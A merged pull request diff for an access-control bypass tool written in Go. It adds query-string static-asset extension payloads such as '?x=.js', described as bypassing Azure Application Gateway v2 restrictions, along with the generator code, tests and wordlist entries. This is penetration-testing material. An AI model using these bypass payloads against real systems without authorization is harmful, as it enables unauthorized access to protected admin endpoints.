Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -286,7 +286,7 @@ The tool runs all techniques by default unless you specify `-k`.
- `path-normalization`
- dot-segment and semicolon normalization variants
- `suffix-tricks`
- suffix and extension tricks such as `.json`, `.css`, `;index.html`, and format-style query toggles
- suffix and extension tricks such as `.json`, `.css`, `;index.html`, format-style query toggles, and static-asset extensions in the query string (`?x=.js`, as seen bypassing Azure Application Gateway v2)
- `payload-position`
- inserts payloads at explicitly marked positions in the URL

Expand Down
70 changes: 70 additions & 0 deletions cmd/bypass_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -1739,3 +1739,73 @@ func TestCrossTechniqueDedupCollapsesSimilarFamilies(t *testing.T) {
t.Fatalf("expected similar cross-technique result to be collapsed")
}
}

// TestSuffixTricksSendsQueryExtensionVariants covers the Azure Application
// Gateway bypass where the static-asset extension lives in the query string
// (e.g. /admin?x=.js) instead of the path, so path-based allow rules match.
func TestSuffixTricksSendsQueryExtensionVariants(t *testing.T) {
resetTestState()

var mu sync.Mutex
var capturedURIs []string

ts, _ := testServer(t, func(w http.ResponseWriter, r *http.Request) {
mu.Lock()
capturedURIs = append(capturedURIs, r.URL.RequestURI())
mu.Unlock()
w.WriteHeader(http.StatusForbidden)
fmt.Fprint(w, "Forbidden")
})
defer ts.Close()

opts := RequestOptions{
uri: ts.URL + "/admin/panel?id=7",
headers: []header{{"User-Agent", "test"}},
method: "GET",
proxy: &url.URL{},
timeout: 5000,
rateLimit: false,
redirect: false,
verbose: true,
}

requestSuffixTricks(opts)

mu.Lock()
defer mu.Unlock()
want := []string{
"/admin/panel?x=.js",
"/admin/panel?x=.css",
"/admin/panel?x=.js&id=7",
}
for _, w := range want {
found := false
for _, uri := range capturedURIs {
if uri == w {
found = true
break
}
}
if !found {
t.Errorf("expected query-extension variant %q, got %v", w, capturedURIs)
}
}
}

// TestEndPathsPayloadFileContainsQueryExtensionVariants pins the shipped
// wordlist so the query-string extension bypass is exercised by default.
func TestEndPathsPayloadFileContainsQueryExtensionVariants(t *testing.T) {
lines, err := parseFile("../payloads/endpaths")
if err != nil {
t.Fatalf("parse payloads/endpaths: %v", err)
}
have := map[string]bool{}
for _, l := range lines {
have[l] = true
}
for _, w := range []string{"?x=.js", "?x=.css", "?x=.png", "?.js", "?.css"} {
if !have[w] {
t.Errorf("payloads/endpaths missing %q", w)
}
}
}
11 changes: 11 additions & 0 deletions cmd/requester.go
Original file line number Diff line number Diff line change
Expand Up @@ -3133,11 +3133,22 @@ func requestSuffixTricks(options RequestOptions) {
baseURL + pathValue + "?" + "format=json",
baseURL + pathValue + "?" + "output=1",
}
// Static-asset extension placed in the query string rather than the path.
// Edge rules that match the full request URI against static-file suffixes
// (seen on Azure Application Gateway v2) treat /admin?x=.js as an asset
// and skip the restriction, while the origin still serves /admin.
queryExtensions := []string{".js", ".css", ".png", ".ico", ".svg"}
for _, ext := range queryExtensions {
payloads = append(payloads, baseURL+pathValue+"?x="+ext)
}
if parsedURL.RawQuery != "" {
payloads = append(payloads,
baseURL+pathValue+";?"+parsedURL.RawQuery,
baseURL+pathValue+".json?"+parsedURL.RawQuery,
)
for _, ext := range queryExtensions {
payloads = append(payloads, baseURL+pathValue+"?x="+ext+"&"+parsedURL.RawQuery)
}
}
payloads = removeDuplicates(payloads)

Expand Down
8 changes: 8 additions & 0 deletions payloads/endpaths
Original file line number Diff line number Diff line change
Expand Up @@ -66,3 +66,11 @@
%3Ffoo.php
%3F.php
%23foo
?x=.js
?x=.css
?x=.png
?x=.ico
?x=.svg
?.js
?.css
?.png
Loading